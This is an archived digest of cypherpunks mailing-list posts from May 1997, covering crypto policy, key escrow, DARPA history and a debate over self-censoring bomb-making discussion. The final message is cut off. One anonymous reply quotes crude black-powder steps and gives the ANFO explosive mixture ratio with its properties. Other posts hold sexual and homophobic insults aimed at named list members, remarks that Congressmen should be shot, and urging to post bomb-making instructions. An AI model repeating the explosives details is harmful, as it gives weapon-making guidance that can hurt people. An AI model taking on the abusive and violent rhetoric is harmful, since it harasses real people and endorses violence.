From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 15:11:43 +0800
To: cypherpunks@toad.com
Subject: Re: DARPA & Networking
In-Reply-To: <TCPSMTP.17.5.13.2.16.10.2780269260.1637341@nycmetro.com>
Message-ID: <v03007800af9dcd27cb5f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:16 PM -0800 5/12/97, harka@nycmetro.com wrote:

>== Forwarded Message Follows =======================================
>From: Amnon Till <amnont@beitberl.beitberl.ac.il>
>To: gsunet-l@bgu.edu
>Subject: The DARPA site
>
>http://www.arpa.mil/
>
>DARPA is the Defence Advanced Research Projects Agency. We all
>know that DARPA initiated in the late 60's project ARPA, which was
>omne of the current internet's roots.
>
>If we want to read more about DARPA, its projects, mission statements
>history etc etc this is your site.

I'm not sure why this is of much interest to our list...ARPA/DARPA being
old news and all.

DARPA did not "intiate project ARPA" (??). Rather, the names have just
changed a couple of times. ARPA was changed to DARPA in 1969-70, in
accordance with the Mansfield Amendment's dictate that research be more
militarily directed.

A few years ago the name DARPA was changed back to ARPA. (But, last I heard
it was back to being DARPA again.)

There's an entertaining new book, "Where Wizards Stay Up Late," by Katie
Hafner, which describes some of the history of the ARPANet. (My university
was one of the first four nodes, so I had a primitive ARPANet account in
1973.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 13 May 1997 22:51:07 +0800
To: cypherpunks@toad.com
Subject: Re: CAK/GAK center, "first and only U.S. Govnt. approved"
In-Reply-To: <199705122207.PAA11242@fat.doobie.com>
Message-ID: <3.0.1.32.19970513001850.007819f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:07 PM 5/12/97 -0700, Huge Cajun Remailer wrote:
> http://www.sourcefile.com
>
>Just how many "authorized personnel" are there, and who all is paying
>them to do what?

Only their Accounts Receivable Department knows for sure :-)
They seem to be mostly in the source code escrow business.

It's amusing that they've Service-Marked the phrase
	"Trusted Third Party (sm)".
We'll see how long that lasts :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 13 May 1997 13:11:00 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970512134334.0096fca0@gateway.grumman.com>
Message-ID: <qRkm7D32w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne <osborne@gateway.grumman.com> writes:
> I said:
> >I appreciate the inference as to my (lack of) intelligence.  ;)
>
> To which Vulis wrote:
> >Your lack of ethics, rather.  You choose to work for someone who chooses
> >to use inadequate Microsoft software, and you brandish these choices as
> >an excuse to interfere with somene's free speech.
>
> I'm not brandishing anything as an excuse, simply stating this: I should
> not have to walk through the street (get my email) wearing 4 inches of
> kevlar (using spam filters), *just in case* someone decides to whip out a
> submachine gun (spam).  It should not me my job to defend myself from
> psychos, rather people should have to ask my permission to infringe upon my
> space and time.

Rick also walks in the rain without an ubmbrella and fucks without a condom.

*PLONK*

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 13 May 1997 13:39:14 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970512134334.0096fca0@gateway.grumman.com>
Message-ID: <3.0.1.32.19970513011740.009da310@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


________________________ R i c k   O s b o r n e ________________________
At 12:24 AM 5/13/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>*PLONK*

Damn, does this mean I've made your killfile?  Let me now express my sorrow
and regret.
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Steganography Question:
How many bodies does it take to spell "I _told_ you I was crazy!"?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 13 May 1997 14:38:28 +0800
To: cypherpunks@toad.com
Subject: DARPA & Networking
Message-ID: <TCPSMTP.17.5.13.2.16.10.2780269260.1637341@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

May be of interest:

== Forwarded Message Follows =======================================
From: Amnon Till <amnont@beitberl.beitberl.ac.il>
To: gsunet-l@bgu.edu
Subject: The DARPA site

http://www.arpa.mil/

DARPA is the Defence Advanced Research Projects Agency. We all
know that DARPA initiated in the late 60's project ARPA, which was
omne of the current internet's roots.

If we want to read more about DARPA, its projects, mission statements
history etc etc this is your site.

Bye
Amnon
amnont@beitberl.beitberl.ac.il

- ------------------------------

Date: Sat, 10 May 97 09:20:19 -0000 (B+2)
From: Amnon Till <amnont@beitberl.beitberl.ac.il>
To: gsunet-l@bgu.edu
Subject: The future of Networking Technologies for learning

http://www.ed.gov/Technology/Futures/

This site was put by the US Dept. of Edu. office of Edu. Technology.
It is a series of papers & workshops dealing with the subject of the
futuristic use of networking in education written by several experts in
this area.

Bye
Amnon
amnont@beitberl.beitberl.ac.il

======================================================================

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
... "Use a cipher - be free!"

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Version: 2.6.2

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qtBontHoPBavDykixeJgJt2W/bOM6VHmHoCy7e2zIGqqCO5/+45gHO7lwAFEpANd
Hv0sQzR6XFugJY/TAcWgDWfczjg5QsDhq5rWcfI5pVtLydiOxBM7fA==
=i+Qz
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Tue, 13 May 1997 13:37:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Unexportable crypto
In-Reply-To: <199705121618.MAA09197@jazz.cape.com>
Message-ID: <5l8tu1$sqv@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In article <199705121618.MAA09197@jazz.cape.com>,
ET <emergent@eval-apply.com> wrote:
>A simple substitution cypher has a keyspace of
>26! ~ 2**88
>Isn't this too strong to export?
>

Actually, yes.  The cypherpunks ftp site has a program on it that helps
you break simple substitution ciphers (like newspaper cryptograms), for which
the author claims he was denied an export license.

   - Ian

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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nOK/uBGXEeuFCR0S+nwOmy2hvB3MpZM0BJrQCxqOQSqXjufbPsdfi9lu7T8vJ6vP
RUhxIuleN5hv2CHUs3B4+i0WpfxegspTp4txaeJO0DAY3dowqJI8apN9YECPny0r
NlX9YA1fObE=
=wrek
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 13 May 1997 20:23:35 +0800
To: unicorn@schloss.li (Black Unicorn)
Subject: Re: The War is Underway (fwd)
In-Reply-To: <Pine.SUN.3.96.970511125117.9012O-100000@polaris.mindport.net>
Message-ID: <199705131154.HAA20161@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn wrote:

| > Systems that use randomly generated keys are
| > limited only by the amount of available entropy, but then the passphrase
| > security to encrypt the secret key or physical security become important.
| > Using excessively long keys does not do much for security, as there are
| > always going to be weaker links that an attacker can take advantage of.
| > It doesn't hurt to use a 256-bit key, or larger, but it doesn't do much
| > good, either.
| 
| Again, you have taken an important concept, total security, and reversed
| it.  Instead of aiming to make each link as strong as possible, you have
| aimed to design around the weakest link.
| 
| This is a serious mistake in my view.

	I disagree with your approach.  In the real world, budgets are
limited, time is limited, the pool of really decent people on any
given project is small.  Fixing or strengthening the weakest link is
my usual approach to these things.  Not as nice as having a
bulletproof design from the start, but there aren't enough smart
cypherpunks out there consulting.  (More on that in another post.)

| It costs little today to develop a cipher with larger keyspace.  (DES with
| independent subkeys already exists and has a basic keyspace of 768 bits.
| A meet in the middle attack reduces keyspace to 2^384.  Schneier discusses
| the cipher briefly).  If users are willing to deal with large keys (I
| certainly am) then software designers are restraining a more secure
| implementation.

	It takes an academic cryptographer about 6 months to develop a
cipher.  Most academics don't see a point to moving beyond the 448
bits available in Blowfish.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 13 May 1997 20:22:39 +0800
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: Re: `careerpunks'
Message-ID: <199705131158.HAA20185@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain




Adam Back wrote:
> Seems to me many of the `cypherpunks' have become `careerpunks' and
> are now more interested in trading crypto tips, trade gossip, than in
> cypherpunks projects.
> 
> They went through the phase of buying kewl domain names (take a look
> down the subscriber lists), tinkering with remailers, and have now
> graduated to making money from crypto consulting, and lost interest in
> the issues where they don't add to the bottom line.

	I disagree with your analysis.  I'm working for a number of
large companies as a consultant.  At each of them, I think I've done
things that substantially imrpove customer privacy.  At one, I may
have sold them on role certificates "This certifies that the bearer
can access account 345567734545435."  As opposed to "This is John
Smith."  I think thats a huge win for privacy advocates, and hey, it
saves them work and money to do it this way.  I could not have
convinced these people by posting to cypherpunks.

	Selling your services does not involve selling out.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 23:44:57 +0800
To: cypherpunks@algebra.com
Subject: "How to Blow Up Buildings"
In-Reply-To: <gZJJ7D17w165w@bwalk.dm.com>
Message-ID: <v03007800af9e47041773@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:19 AM -0800 5/11/97, Declan McCullagh wrote:
>Here's another good idea for a cypherpunks project: *don't* use the
>Eternity Server to post even more bomb-making instructions all over the
>Web and Usenet.
>
>You might remember I wrote recently about the DoJ report released this
>month that calls for new legislation to ban bomb-making info online. Now
>Feinstein's office tells me she's going to introduce a bill.
>
>No need to throw red meat to the hounds.
>
>(Hmmm. Looking back at my message, I'm essentially saying "censor
>yourself or the government will." Not sure I like that argument.)

You've been in D.C. too long if you're falling for this line of reasoning.

"Book publishers: learn to restrain yourselves or the government will."

"Tom Paine: learn to censor yourself, or Ye Olde King surely will."

"Cypherpunks: hold back on discussions or the Ministry of Truth will shut
you down."

I can't believe Declan is calling for self-limitations on online
discussions of that which is freely available in books, on Web sites, and
(obviously) in government publications.

The proper response to those noting that bomb-making instructions are on
the Net is "So?"

--Tim May


--
[This Bible excerpt awaiting review under the U.S. Communications Decency
Act of 1996]
And then Lot said, "I have some mighty fine young virgin daughters. Why
don't you boys just come on in and fuck them right here in my house - I'll
just watch!"....Later, up in the mountains, the younger daughter said:
"Dad's getting old. I say we should fuck him before he's too old to fuck."
So the two daughters got him drunk and screwed him all that night. Sure
enough, Dad got them pregnant, and had an incestuous bastard son....Onan
really hated the idea of doing his brother's wife and getting her pregnant
while his brother got all the credit, so he pulled out before he
came....Remember, it's not a good idea to have sex with your sister, your
brother, your parents, your pet dog, or the farm animals, unless of course
God tells you to. [excerpts from the Old Testament, Modern Vernacular
Translation, TCM, 1996]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Wed, 14 May 1997 12:30:55 +0800
To: cypherpunks@toad.com
Subject: unsafe SAFE:
Message-ID: <199705140419.VAA01203@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain


according to http://www.news.com/News/Item/0,4,10604,00.html

                Kerrey's effort has one thing in common with the
                SAFE Act: It calls for the creation of an Information
                Security Board. The board proposal caused some
                privacy watchdogs to pull their endorsements of
                SAFE because it wouldn't have to comply with
                federal open-meeting act. 


Since a common hand has presumably been at work in both bills,
this looks like good cop / bad cop to me.

The good cop says, "I am your friend"

He is not your friend.

Create a federal board, and it will exercise power.

 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 00:30:59 +0800
To: cypherpunks@algebra.com
Subject: "The policeman inside"
In-Reply-To: <13510758714442@nac.net>
Message-ID: <v03007801af9e50fa6ea2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


First Declan, now Ray:

At 7:10 AM -0800 5/13/97, Ray Arachelian wrote:

>Hell, the nice bomb making spam too is also a bitch being posted here.
>One could give the poster the benefit of the doubt, but it smells quite
>of the tactics used by the Postal fiends that mail child porno to an
>unsuspecting citizen unit, then arrest that citizen unit upon receipt.
>Lets not give the evil onesof the government more horsemen to ride over
>us. :(

As ur-cyberpunk Burroughs noted, we must beware "the policeman inside."

Authorities _want_ people to "police themselves," to think twice before
speaking freely, to limit the topic of their conversations, and to
generally fear the knock on the door late at night (or, in fin de siecle
Amerika, the suddent appearance of black-clad ninja in one's bedroom at 4
a.m., shooting anything that moves).

Bomb-making information is protected by the First Amendment. Period.

So is crypto information. So is saying Congressmen are vermin who need to
be taken out and shot.

Get this straight, people!

(Now whether such opinions are to one's taste, or whether the Cypherpunks
list is a reasonable forum for posting bomb-making plans...well, that's a
completely different issue, one of taste and appropriateness, than the
calls by Declan and Ray that such messages are dangerous and could invite
retaliation by the Authorities. If that's indeed the case, then by all
means we should be posting bomb-making instructions and calls for treason
trials with street justice.)

Beware the policeman inside.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Avi Rubin <rubin@research.att.com>
Date: Tue, 13 May 1997 23:00:57 +0800
To: cypherpunks@toad.com
Subject: Announcing: a new John Wiley book on Web Security
Message-ID: <199705131345.JAA06712@mgoblue.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain



                 Announcing: The Web Security Sourcebook 
                        (John Wiley & Sons, Inc.)

                  by Avi Rubin, Dan Geer, Marcus Ranum

                       foreward by Steve Bellovin


A new book on all aspects of web security. More information can be 
found at http://www.clark.net/pub/mjr/websec/



*********************************************************************
Aviel D. Rubin                                 rubin@research.att.com
Secure Systems Research Dept.                Adjunct Professor at NYU
AT&T Research Labs
180 Park Avenue                   http://www.research.att.com/~rubin/
Florham Park, NJ 07932-0971                    Voice: +1 973 360-8356
USA                                            FAX:   +1 973 360-8809





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Tue, 13 May 1997 22:18:21 +0800
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis
Message-ID: <13510758714442@nac.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Tue May 13 09:55:34 1997

> Dimi (Closet Homo) isa pimply old dweeb sitting at a  Xenix 286
> computer masturbating at his own imagined cleverness.
>  

This is the down side to anonymous remailers.. I think if you don't have 
the balls to say something, don't say it.

Obviously, someone is saying something they don't wan't other people to 
think they think..

I am, obviously, tired of adding filters to my mailbox.  Please knock off 
this bullshit.  I think whoever posted this is a pimply young asshole 
sitting on a c64 attempting to masturbate himself but can't find a 
microscope with high enough magnification.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 01:26:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Disinformation in L.A.
Message-ID: <199705131654.JAA22959@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


> Potassium nitrate is a natural byproduct of the decay of organic material.
> It is highly soluable in warm water, but at low temperatures (<10C) will
> quickly precipitate out and be displaced in solution by other salts, such
> as sodium chloride.  Extract by evaporation of water from chilled solution.
> Mix seven parts potassium nitrate with three parts carbon (coal).  Compact
> and ignite to produce explosion.

94% AN : 6% Fuel Oil (hence the abbr. ANFO) - more brisant than TNT, good
stability and sensitivity, cheap and easy to manufacture almost anywhere
worldwide in large quantities.  Thanks for playing - go get yourself
another encyclopedia.

BTW, have a friend post your obit. when you've blown your head off, fuck-up.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Tue, 13 May 1997 16:28:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: key recovery vs data backup
In-Reply-To: <19970512230928.46454@bywater.songbird.com>
Message-ID: <Pine.NEB.3.95.970513093606.21416m-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 12 May 1997, Kent Crispin wrote:
> > What I meant was, you can make n-of-m hardware stuff for both cases.
> > Surely you don't disagree with that?
>
> I don't disagree that you *could* do it.  I think it unlikely that you
> would do it for the multiple recipient case.  I believe that in the
> MR case the master key(s) (especially if there are multiple master
> keys) would use exactly the same encryption algorithm as the normal
> encryption case.  That is the obvious, straightforward way to do it.
> If you use another encryption algorithm for the master then you have a
> whole raft of other problems to deal with.

You can have the same algorithm (visible at the user side) whether or
not you have special hardware for protecting the private half of the key
pair from exposure.

> > Finding out which key to encrypt to in the MR case is analagous to
> > finding out which key safe to talk to in the KS case.  Securing and
> > authenticating the channel to the key safe in the KS case is an
> > extra issue that does not have a counterpart in the MR case.
>
> ?? How do you know that the channel through which you get the master
> key in the MR case is secure?  You surely don't just pull it off the
> net.  It's signed?  Then the problem just recurses -- how do you
> know the signature is good?  This is exactly the problem you have
> contacting the keysafe.

Knowing the right key in the MR case is static information, analagous
to knowing the network address of the key safe in the KS case.  For
example, in the MR case, the key could be distributed on a floppy disk
along with the special software, while in the KS case the location
of the key safe could be so distributed.  OK, you also need a way of
changing the (MR) key or of moving the (KS) key safe, but that doesn't
happen often and similar issues would appear to arise in either case.

But in the KS case, there would also need to be a mechanism to protect
the channel between the user and the key safe every time the channel is
used, and that extra mechanism does not appear to have a counterpart in
the MR case.  Not really a big deal, but it is a whole extra protocol to
be designed.

--apb (Alan Barrett)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 13 May 1997 23:03:49 +0800
To: cypherpunks@toad.com
Subject: e$: You get what you pay for
In-Reply-To: <3.0.32.19970512214932.006d4e8c@cnw.com>
Message-ID: <v030209aaaf9e0b4b01ca@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:50 am -0400 on 5/13/97, Blanc wrote:
> Robert Hettinga wrote:
>
> >Ah. A 90's version of Freddy Hayek's "Road to Serfdom", maybe?
> >A turn-of-the-new-century Phabian Society needs a Stalin to make it's
> >dreams reality?
> >
> >Be careful what you wish for, ladies and germs...
> .............................................................
>
>
> Well, now, what exactly do you mean?   How does this relate to bombing a
> village, with all its communists & captives, out of existence?

I was expanding on your riff, a bit, I guess.

I suppose that intellectual ruminations, including my own on occasion here
in cypherpunks, are all well and good, but when it comes time to put the
rubber to the road, or in flames around the oppressor's neck, or whatever,
people usually don't get what they think they want, um, other people to do
for them. Which is Hayek's point, as demonstrated by England's Phabian
Society, which probably did more to advance the cause of Stalin than Lenin
ever did. :-).

After such episodes of political "success", there is a *reason* most of us,
as the esteemed Mr. Townsend once said, "...get on [our] knees and pray we
don't get fooled again...".

I think that strong cryptography, especially strong financial cryptography,
is going to create a world we'll scarcely recognize in 100 years, or maybe
even 30 years. Not because of politically motivated violence, but of
economic necessity.


Yeah, I know. Economic necessity sometimes creates politically motivated
violence. And, at the heart of that is a paradox, as juicy a paradox as
well meaning victorian British socialists apologising in advance for the
behavior of a totalitarian Russian monster 50 years later.

When you think about it, the events of 1789 France, or post-Weimar Germany,
or even post-Tito (nee' Soviet) Yugoslavia, all came after the crises which
supposedly caused them were pretty much over, and people had the brainspace
to think about how pissed off they should be about it.

The Pelleponesian War was probably more about Athens slacking off her
Delian League repression (the introspective episode in intellectual
potlatch we now call the "golden age" of Athens) than her later genocidal
punishment of a vassal state for not coughing up the requisite League dues.

There was a study of  um, urban cub scouts, lately, which talked about how
it wasn't the *lack* of self-esteem which caused extremely violent gang
behavior, so much as it was, ironically, too *much* self-esteem. There's
nothing so self-confident as a 14 year old with an AK or a Mac10(?), as any
resident of Beruit, or Chicago, or Mogadishu, or Monrovia, or, now, Tirana,
will gladly tell you. Much hubris goes before the fall of domestic
tranquility. :-).


Anyway, when I'm prone to worry about such things, I think, depending on my
mood and the weather,  that either the government is getting so powerful
that we're going to have to fight back some day, or that it really isn't so
powerful anymore, and now the more cocky of us think we can stand up to it
and fight back in redress for its past sins, real and imaginary. Remember
that dear Uncle *has* demobilized considerably. Mr. McVeigh himself is
someone who would now be cheerfully blowing up things in Special Forces
practice somewhere, if he had more practice time and running room at the
selection process before he was economically demobilized after his heroic
exploits in Kuwait.


One of the fun consequences of having a large standing army, of course, is
what do you do with the, um, standees, when you can't afford to feed and
train them any more. I'd bet that a large percentage of the Russian "Mafia"
are former soldiers, and certainly spook/torturers, just doing what comes
naturally.

In this regard, I think that America lucked out after WWII because lots of
its sharply increased industrial, um, womanpower, could step aside so
Johnny could come marching home to a job in the factory down the street.
The GI bill mopped up the rest of the slack(ers) by putting the brighter
and more easily bored safely away in college for a few years :-). In a few
years, everyone had a wife, 2.2 kids and a mortgage to worry about instead
of the injustice of encroaching government power. Problem solved.

We may be reaping what we've sown after the 50-Year War with Russia,
though. This time it may not be so easy, because people like Mr. McVeigh
are not people who went off to fight a war to return immediately after the
shooting stopped, but, people who, like our politicians, are now
careerists. Lifers. Empire builders, in the truest sense of the phrase.
People who, it now appears, are as pissed off at dear Uncle as the rest of
us are, though for different reasons, all their manifestoes and
rationalizations to the contrary.

Unfortunately, we can't use the economic rent we've beaten out of the rest
of the world this time to put them to work at something else, especially
because no matter what we hire them for, it isn't the thing they were
selected and trained over a lifetime to do. More to the point, something
they expected to do for the rest of their working lives.

Oh, well. Life is hard. Sometimes you don't get what you want, to
paraphrase a fellow tradesman of Mr. Townsend. Or, as my nephews' governess
used to say, sometimes you don't have to wanna. So, though I'm not to the
"beware soft targets" stage yet, it's good advice in almost any age, and
should be paid attention to.


Finally, my own hope for stuff like financial cryptography in this regard
is that it will make so much money, wringing the required economic rent out
of progress rather than the comparative devastation of the rest of the
world, that we'll be able to "bribe" all those demobilized spooks and
soldiers to leave us alone, much the same way that Harry and Ike did with
the creation of the middle-class entitlement state. Without, of course, the
"state" part.

I think that such hopes are at least justified. History has shown us that
there is nothing like a whole bunch of technological and economic progress
to focus people on better stuff than blowing up themselves and their
enemies. Modulo the odd paradox, of course.

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 14 May 1997 01:31:45 +0800
To: cypherpunks@toad.com
Subject: test 10:10 am PDT ignore cp@toad
Message-ID: <3.0.1.32.19970513100942.005f1f40@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 14 May 1997 01:25:47 +0800
To: cypherpunks@cyberpass.net
Subject: test cp@cyberpass.net 10:10a pdt ignore
Message-ID: <3.0.1.32.19970513101014.005f5f98@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 14 May 1997 01:32:47 +0800
To: cypherpunks@algebra.com
Subject: test cp@algebra.com 10:10a pdt ignore
Message-ID: <3.0.1.32.19970513101035.005f7868@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 14 May 1997 00:49:56 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Digital signatures
In-Reply-To: <199705122154.OAA10465@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970513102344.53514D-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 12 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> Timmy May's family tree goes straight up. All of his ancestors 
> were siblings, to dumb to recognize each other in the dark.
> 
>         _  o
>        |<)_/# Timmy May
>        TT  <T
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sidney R. Phillips" <srp3651@hsct22.ca.boeing.com>
Date: Wed, 14 May 1997 01:35:15 +0800
To: cypherpunks@algebra.com
Subject: Printers are munitions?
Message-ID: <3378A3E5.41C6@hsct22.ca.boeing.com>
MIME-Version: 1.0
Content-Type: text/plain


Last Sunday on The Learning Channel there was a somewhat silly program
on information
warfare.  One thing which caught my attention however, was a claim by
Win Schwartau
(of inforwar fame) that NSA had placed narrow band transmitters in
printers which
wound up in air defense sites in Iraq.  Subsequently the transmissions
were used
for targeting durring the gulf war.  Has anyone heard of a separate
source for this?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 01:50:43 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] Secure envelopes
Message-ID: <199705131728.KAA25098@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[ocksucker] May carries a turd in his wallet for 
identification purposes.

    _@_
   /   \
  | o o |
-U|--U--|U-- Tim C[ocksucker] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Wed, 14 May 1997 02:51:19 +0800
To: cypherpunks@cyberpass.net
Subject: Re: `careerpunks'
Message-ID: <199705131739.KAA29311@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back, <aba@dcs.ex.ac.uk>, writes:
> In trying to figure out which lists were working, I noticed that there
